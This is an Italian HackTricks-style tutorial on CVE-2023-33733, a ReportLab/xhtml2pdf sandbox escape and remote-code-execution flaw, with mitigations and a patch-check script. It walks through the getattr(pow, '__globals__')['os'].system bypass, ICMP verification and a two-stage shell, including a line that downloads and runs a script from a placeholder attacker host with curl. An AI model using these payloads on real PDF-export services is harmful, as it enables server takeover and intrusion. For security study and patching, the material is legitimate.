ReportLab/xhtml2pdf [[[…]]] RCE da valutazione delle espressioni (CVE-2023-33733)

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Questa pagina documenta un pratico sandbox escape e una primitiva RCE in rl_safe_eval di ReportLab usato da xhtml2pdf e altre pipeline di generazione PDF quando viene renderizzato HTML controllato dall’utente in PDF.

CVE-2023-33733 interessa le versioni di ReportLab fino e incluso la 3.6.12. In certi contesti di attributo (per esempio color), i valori racchiusi in triple parentesi [[[ … ]]] vengono valutati server-side da rl_safe_eval. Scegliendo un payload che pivota da un builtin in whitelist (pow) ai suoi globals di funzione Python, un attaccante può raggiungere il modulo os ed eseguire comandi.

Punti chiave

  • Trigger: iniettare [[[ … ]]] in attributi valutati come all’interno del markup parsato da ReportLab/xhtml2pdf.
  • Sandbox: rl_safe_eval rimuove o sostituisce builtins pericolosi ma le funzioni valutate espongono ancora globals.
  • Bypass: costruire una classe transitoria Word per aggirare i controlli sui nomi di rl_safe_eval e ottenere la stringa “globals” evitando il filtraggio dei dunder bloccati.
  • RCE: getattr(pow, Word('__globals__'))['os'].system('<cmd>')
  • Stabilità: restituire un valore valido per l’attributo dopo l’esecuzione (per color, usare ‘red’).

Quando testare

  • Applicazioni che espongono esportazione HTML-to-PDF (profile, invoice, report) e mostrano xhtml2pdf/ReportLab nei metadata del PDF o nei commenti della risposta HTTP.
  • exiftool profile.pdf | egrep ‘Producer|Title|Creator’ → “xhtml2pdf” producer
  • La risposta HTTP per il PDF spesso inizia con un commento generato da ReportLab

Come funziona il bypass della sandbox

  • rl_safe_eval rimuove o sostituisce molti builtins (getattr, type, pow, …) e applica un filtro sui nomi per negare attributi che iniziano con __ o presenti in una denylist.
  • Tuttavia, le funzioni “sicure” vivono in un dizionario globals accessibile come func.globals.
  • Si usa type(type(1)) per recuperare la vera funzione builtin type (bypassando il wrapper di ReportLab), poi si definisce una classe Word derivata da str con comportamento di confronto mutato in modo che:
    • .startswith(‘’) → restituisca sempre False (bypass del controllo name startswith(‘’))
    • .eq restituisca False solo alla prima comparazione (bypass dei controlli di membership nella denylist) e True dopo (così getattr funziona)
    • .hash uguale a hash(str(self))
  • Con ciò, getattr(pow, Word(‘globals’)) restituisce il dict globals della funzione pow wrappata, che include il modulo os importato. Poi: ['os'].system('<cmd>').

Schema di sfruttamento minimo (esempio attributo) Inserire il payload dentro un attributo valutato e assicurarsi che ritorni un valore valido per l’attributo tramite l’operatore booleano e ‘red’.

exploit

  • La forma con list-comprehension permette una singola espressione accettabile da rl_safe_eval.
  • Il trailing and ‘red’ restituisce un CSS color valido così il rendering non si rompe.
  • Sostituire il comando secondo necessità; usare ping per validare l’esecuzione con tcpdump.

Flusso operativo

  1. Identificare il generatore PDF
  • Il Producer del PDF mostra xhtml2pdf; la risposta HTTP contiene un commento di ReportLab.
  1. Trovare un input riflesso nel PDF (es. profile bio/description) e attivare un export.
  2. Verificare l’esecuzione con ICMP a basso rumore
  • Eseguire: sudo tcpdump -ni <iface> icmp
  • Payload: … system('ping <your_ip>')
  • Windows spesso invia esattamente quattro echo requests per default.
  1. Stabilire una shell
  • Per Windows, un approccio affidabile in due fasi evita problemi di quoting/encoding:
  • Stage 1 (download):

exploit

  • Stage 2 (execute):

exploit

  • Per target Linux, è possibile un analogo two-stage con curl/wget:
  • system(‘curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s’)

Note e suggerimenti

  • Contesti attributo: color è un attributo noto valutato; altri attributi nel markup di ReportLab potrebbero anch’essi valutare espressioni. Se una posizione è sanitizzata, provare altre aree renderizzate nel flusso PDF (campi diversi, stili di tabella, ecc.).
  • Quoting: mantenere i comandi compatti. I download in due fasi riducono drasticamente i problemi di quoting e escaping.
  • Affidabilità: se gli export sono cached o nella coda, variare leggermente il payload (es. path o query random) per evitare di colpire cache.

Stato della patch (2024–2025) e identificazione dei backport

  • 3.6.13 (27 Apr 2023) ha riscritto colors.toColor in un parser che cammina l’AST; le release 4.x più recenti mantengono questa strada. Forzando rl_settings.toColorCanUse a rl_safe_eval o rl_extended_literal_eval si riabilita l’evaluator vulnerabile anche su versioni recenti.
  • Diverse distribuzioni forniscono fix backportati mantenendo numeri di versione come 3.6.12-1+deb12u1; non fare affidamento solo sul semantic versioning. Greppare colors.py per ast.parse o ispezionare toColor a runtime per confermare che il parser sicuro sia effettivamente in uso (vedi quick check sotto).
  • Quick local check to see whether the AST-based fix is present:
python - <<'PY'
import inspect
from reportlab.lib import colors
src = inspect.getsource(colors.toColor)
print('AST-based toColor' if 'ast.parse' in src else 'rl_safe_eval still reachable')
PY

Mitigazioni e rilevamento

  • Aggiornare ReportLab alla versione 3.6.13 o successiva (CVE-2023-33733 risolta). Monitorare anche gli avvisi di sicurezza nei pacchetti della distribuzione.
  • Non fornire HTML/markup controllato dall’utente direttamente a xhtml2pdf/ReportLab senza una rigorosa sanitizzazione. Rimuovere/negare le costruzioni di valutazione [[[…]]] e i tag specifici del vendor quando l’input non è attendibile.
  • Valutare la disabilitazione o l’incapsulamento completo di rl_safe_eval per input non attendibili.
  • Monitorare eventuali connessioni outbound sospette durante la generazione dei PDF (es. ICMP/HTTP da server applicativi durante l’esportazione dei documenti).

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks